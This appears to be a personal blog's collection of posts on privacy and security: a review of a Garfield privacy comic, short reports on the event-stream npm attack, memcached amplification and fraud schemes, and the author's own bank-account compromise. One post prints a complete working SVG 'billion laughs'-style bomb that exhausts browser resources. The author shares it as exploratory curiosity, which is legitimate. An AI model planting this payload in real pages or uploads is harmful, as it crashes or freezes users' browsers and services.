Learning opsec with Nermal

A few years back, (ISC)2’s charitable trust, the Center for Cyber Safety & Education partnered up with Paws, Inc. to create four comic books putting Garfield and friends in various educational cyber situations. The topics are privacy, safe posting, downloading, and cyberbullying. The fact that the Center for Cyber Safety & Education has, seemingly, three websites all dedicated to pushing this (one, two, three), the fact that they all demand you accept their usage of cookies, the fact that the Center seems proud to partner with Nielsen and Amazon… none of these things scream ‘privacy awareness’ to me. But I was curious just what sort of advice Garf had to offer on the matter, and I have therefore read ‘Privacy: Online Friends Are Not The Same As Real Friends’. On the off chance that you, reader, do not want to acquire this masterpiece and follow along, there is also an animation, hosted on known privacy advocacy platform YouTube (lolol). For whatever reason, the animation only covers like a third of the story, but eh it’s enough to get the gist.

Let’s get plot out of the way. Garf wants to eat a bunch of doughnuts, but he can’t because Nermal is being loud. Nermal is being loud because he’s struggling at a video game, ‘CheeseQuest VII: Attack of the Cheddar Zombies’. Some random player offers to help Nermal win, he just needs Nermal’s password. Arlene catches this and convinces Garf to care. Garf is not a privacy expert, however, so he calls everyone’s favorite recurring character, Dr. Cybrina, for help. Dr. Cybrina tells Nermal a bunch of tips for staying safe online, and then in a random act of kindness, Garf shows Nermal how to beat the game. Then he leaves to chase an ice cream truck.

All of that is just set dressing to talk about privacy, of course. So, what does Dr. Cybrina teach Nermal? Not much, really. On a single page, we learn about Personally Identifiable Information (PII)1. “Like my favorite kind of pizza?” Nermal asks. Dr. Cybrina clears this up, and lists off a bunch of examples of PII: name, address, phone number, gender2, age, and plans/location. Oddly, she lumps password in here as well, which… doesn’t quite feel right, but not sharing your password is obviously good advice, so whatever. Then, Dr. Cybrina talks a bit about how little Nermal knows about this random player as well: the distinction between screen names and real names, that the player might be a big scary adult, and of course… that online friends are not your real friends. She doesn’t say anything about sharing photos of yourself, but Garf apparently knows this and changes Nermal’s profile pic. Finally, we get several pages of quizzes, with things like ‘is a story you wrote okay to share, or best kept private?’ and ‘is it okay to play games online?’ The multiple choice questions are entertaining, with choices like ‘Nermal should only give the friend his password if he gets the friend’s password too.’ And… that’s that.

So is it any good? Well, as a Garfield tale, it adds some wild realities to the canon: we get a new character, Dr. Cybrina, destined to the pit of deep lore like Ivy or Stinky Davis; we now know at least seven CheeseQuest games exist in the Garfiverse; and we learn that Garf absolutely whips at video games. But, more importantly, it… does a fine job at explaining PII, considering it is a comic for children. But it doesn’t really talk about privacy beyond this one aspect, and it only really teaches kids how to protect PII if they’re interacting with another person, or perhaps setting up a profile online. I acquired this with the intent on reviewing it’s merits on teaching privacy; I expected it to either be horribly misguided or, hopefully, have lots of bits to praise. I didn’t really expect it to be… accurate, but utterly lacking in points to discuss. Given that, it’s honestly kind of hard to assess.

I also wonder if… well, if Garfield is the right franchise to use to reach out to children in 2016 (the year of its release), or today (since they’re still clearly pushing this). At its heart, it does what it set out to, though. One of many little quirks in Garf licensing, though in keeping with Jim Davis’s dedication to education, one with an admirable goal.

"I don't know what to say" (external)

I’m behind on posting about this, but given my potential audience, I wouldn’t be doing so as a warning anyway but rather a curiosity. A couple of weeks ago, malicious code was discovered in an npm package called flatmap-stream placed as a dependency inside event-stream. Publish rights to event-stream were apparently handed off to the bad actor, a user with no history whatsoever, because according to the original author:

he emailed me and said he wanted to maintain the module, so I gave it to him. I don’t get any thing from maintaining this module, and I don’t even use it anymore, and havn’t for years.

The attack was quite targeted – a payload was encrypted using the description of another package, the code would only be executed if this package was present. It appears that the end goal was getting bitcoin wallet access, as this targeted package was directly related to the Copay wallet. I don’t have much experience with npm, but I’ve gathered that its approach to dependencies is decentralized ownership/maintenance with centralized package lists/names/etc. It also seemingly pushes minor updates (as declared by the author) automatically, but not major ones. The vector of attack here was quite fascinating then: find a package that doesn’t appear to have been maintained for a while and that is often used alongside a well-maintained package that you want to infiltrate; ask to maintain the first package; push malicious code as a minor update and remove it immediately in a major update; sit back as it makes its way through projects everywhere.

Title link goes to the event-stream issue thread, which is well worth reading for information on the discovery, the forensics process, and a bit of back-and-forth about maintainer responsibility in the open source world. Additionally, in a gist, the original author responded to these issues of responsibility. Finally, if you don’t want to piece it together via the thread, Zach Schneider has an excellent explanation of the attack.

Lava lamps as HRNGs (external)

I never thought I’d link to one of those terrible sites that forces you to scroll through an entire page worth of image before you can even begin reading, but here we are. If you haven’t visited Wired recently, be warned: it is very user-antagonistic. But this article, despite its brevity and reading like an ad for Cloudflare, is pretty interesting. The gist is that one of Cloudflare’s hardware random number generation techniques involves photographing an array of lava lamps.

HTTPS and categories

Meta-post time, as I’ve made a few site updates. Most notably, HTTPS works now. I wouldn’t say that Chrome 68 pushed me to finally do this, but hearing everyone talk about Chrome 68 was a good reminder that I was really running out of excuses. So, only this site as of right now, I’ll get around to fenipulator, the archive, and a couple of other projects that aren’t actually tied to my name shortly. My hosting provider, NearlyFreeSpeech.NET, has a little shell script in place that makes setting up with Let’s Encrypt an entirely effortless ordeal, with full ACME tools available if necessary. I still need to edit my .htaccess to force the matter.

A while back I also did some category overhauls. There are still quite a few categories that only contain a single post, but that seems likely to change in the future. I got rid of any categories where I didn’t really see myself adding more. I do have a tag taxonomy in place, which I need to start making better use of, for more detailed keywords. I planned to use this (plus categories, plus titles) for a sort of half-baked keyword search implementation, which I may still do at some point. I also ‘fixed’ the problem of categories showing up out of order by just making them all lowercase for the time being. It’s ludicrous to me that Hugo has no case-insensitive sorting.

An interesting memcached/UDP amplification attack (external)

A handful of reports out there about a recent DDOS attack that relied on memcached and DDOS’s best friend, UDP. Link is to Cloudflare’s blog post about the attack, which is a thorough yet accessible explanation. It seems like this is the most amplified amplification attack yet, and without even using a significant number of memcached vectors. A lot of potential vectors were from cloud hosts like AWS and Linode – many of these have apparently closed up the hole. Hopefully this minimizes the potential for a larger attack, but it’s worth quoting Cloudflare:

The [UDP] specification shows that it’s one of the best protocols to use for amplification ever! There are absolutely zero checks, and the data WILL be delivered to the client, with blazing speed! […] Developers: Please please please: Stop using UDP.

Cloudflare also touches on the fact that the larger problem is IP spoofing, and they wrote a followup post about that specifically. I just found the memcached amplification attack fascinating.

Weird Amazon/CreateSpace fraud (external)

Brian Krebs reports on one of the stranger scams I’ve read about in recent years. Essentially an author’s name (and tax info) was used to publish a book of pure nonsense using CreateSpace, and sell it for an exorbitant price, presumably as part of a money-laundering scheme:

Reames said he suspects someone has been buying the book using stolen credit and/or debit cards, and pocketing the 60 percent that Amazon gives to authors. At $555 a pop, it would only take approximately 70 sales over three months to rack up the earnings that Amazon said he made.

Patrick Reames, the (real) author in question, discovered the whole thing upon being sent a 1099 for massive earnings he hadn’t actually made. A rather convoluted scheme, but it’s easy to see how it wouldn’t be detected for quite some time. Fascinating read.

"You're scaring us" (external)

Somehow I missed this until now, but of course after Mozilla went and released their first good web browser in forever, they then went and mucked everything up. Apparently the ‘Shield Studies’ feature, which is supposed to act as a distributed test system for new features, was instead used to unwittingly install a disturbing-looking extension that was effectively an ad for a TV show. The problem ultimately seems to stem from a disconnect between Mozilla (the corporation) and Mozilla (the NPO and community) – and in fact, their developers were not thrilled about it. This is a huge breach of trust, and if Mozilla (the corporation) can’t wrap their head around their own manifesto, I can’t imagine a very good future. Mozilla did acknowledge that they fucked up, but the apology seems rather half-hearted at best. I know I have disabled Shield Studies, and until I see some evidence that a genuine attempt is being made to restore user trust, I will remain skeptical of Mozilla’s motives.

A billion points: an SVG bomb

SVGs, via the <use> tag, are capable of symbolic references. If I know I’m going to have ten identical trees in my image, I can simply create one tree with an id="tree" inside of an undrawn <defs> block, and then reference it ten times inside the image along the lines of <use xlink:href="#tree" x="50" y="50"/>.

A billion laughs is a bomb-style attack in which an XML document makes a symbolic reference to an element ten times, then references that symbol ten times in a new symbol, and again, and again, until a billion (109) of these elements are being created. It creates a tremendous amount of resource consumption from a few kilobytes of code. Will symbolic references in an SVG behave similarly?

I briefly searched for SVG bombs, and as expected mostly came up with clipart. I did find one Python script for generating SVG bombs, but it relied on the same XML strategy as the classic billion laughs attack1. The answer is that yes, in about 2.3kB we can make a billion points and one very grumpy web browser:

<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>

It works precisely the same way as a billion laughs: it creates one point, a, at 0,0; then it creates a group, b with ten instances of a; then group c with ten instances of b; and so on until we have 109 (+1, I suppose) instances of our point, a. I’m not entirely sure how a renderer handles ‘drawing’ a single point with no stroke, etc. (essentially a nonexistent object), but it is interesting to note that if we wrap the whole thing in a <defs> block (which would define the objects but not draw them), the bomb still works. Browsers respond a few different ways…

The internet sucks (external)

Well, this sucks. My host, NFSN, is doing a major overhaul to their pricing scheme simply because the internet has become such a horrible hotbed of malice. To be clear, when I say ‘this sucks’, I don’t mean any negativity toward NFSN. The article link up there goes to their blog post explaining the matter, and it frankly seemed inevitable that fighting DDOS attacks would catch up to their pricing scheme. Previously, if you had a static site with low bandwidth and storage, you could probably get a year out of a quarter (domain registration not included, of course). The new plan allows for basically a $3.65 annual minimum which is still impressive (especially given what NFSN offers). But it’s a bummer that it’s come to this.

I would like to reiterate that this is not a complaint against NFSN. I will continue to use them for hosting, I will continue to recommend them, I will continue to praise them. I believe this is a necessary move. I’m just really, really pissed off that this is where we are with the internet. I don’t know what’s going on behind the scenes as far as law enforcement, but the internet is a global network (really?) and that’s not an easy problem to solve. I just hope something is happening to clean this wasteland up, because the advancements we’ve made in the information age are too important to bury under a sheet of malice.


Recently, a financial account of mine was compromised. As a person who, while entirely fallible, is pretty well-versed in infosec, I have a lot of thoughts on the matter. Honestly the whole thing has been more fascinating to me than anything. Maybe it’s because my bank has been very accommodating so far, maybe it’s because (relatively speaking) trivial amounts of money have been sucked from my accounts, or maybe it’s because I’m petty and vengeful and when you make a direct bank transfer your name, the recipient’s name, it is revealed to the sender1.

I’m curious about the vector of attack. My assumption is that primarily my card was physically compromised, but I’m not sure. The timeline began with the reception of notifications that my online banking password had been reset. I assumed, or, hoped for a glitch and reset it. Then it reset again. And again. Then a transfer account was added. Then, while I was dialing in to the bank, $100 had been transferred out. This is when it gets a little panicky, but having that information, having a number of controls in front of me to mitigate the situation, and having quick response from the bank’s customer service all led to a fairly painless resolution.

The means of ingress was not the internet, it was not ‘hacking’. When you start telling people about an attack like this, the overwhelmingly rudimentary understanding of security lends itself to responses like ‘ah, well you have this account and now that account was hacked! The hackers hacked it!’ The term ‘hacking’ evokes some real man-vs.-machine WarGames type shit, but the sort of attacks that tend to affect most of us are far less sexy. Things like malware and card skimmers meticulously mining data to then be sold off in batches to lesser criminals.

So that was the first breach, and then several days later it was followed by fraudulent card purchases. I was able to temporarily mitigate this by disabling the card, before ultimately contacting the issuer and having the card entirely deactivated and a new one issued. In between these two things happening, I received a call from ‘my bank’ enquiring about card fraud (which had not yet occurred). The incoming number (which is trivially spoofed) did appear to resolve to the bank’s fraud department, but the callback number was unknown to the internet. I assume this was an attempt by attackers to phish more information while I was at my most vulnerable.

When I mention that the vector of attack likely began with the card, this is because there are some safeguards in place for doing the password reset over the phone. Some, like driver’s license numbers in many states, are completely trivial to reproduce, and financial institutions really need to stop relying on faux secret information. The card number is another potential identifier, and I think these two things with a dash of good old-fashioned social engineering thrown in probably led to multiple over-the-phone password resets being granted in a fifteen-minute window. Just the handful of dealings I had with the bank gave a lot of insight into how one could pull off such an attack, which itself is a little concerning.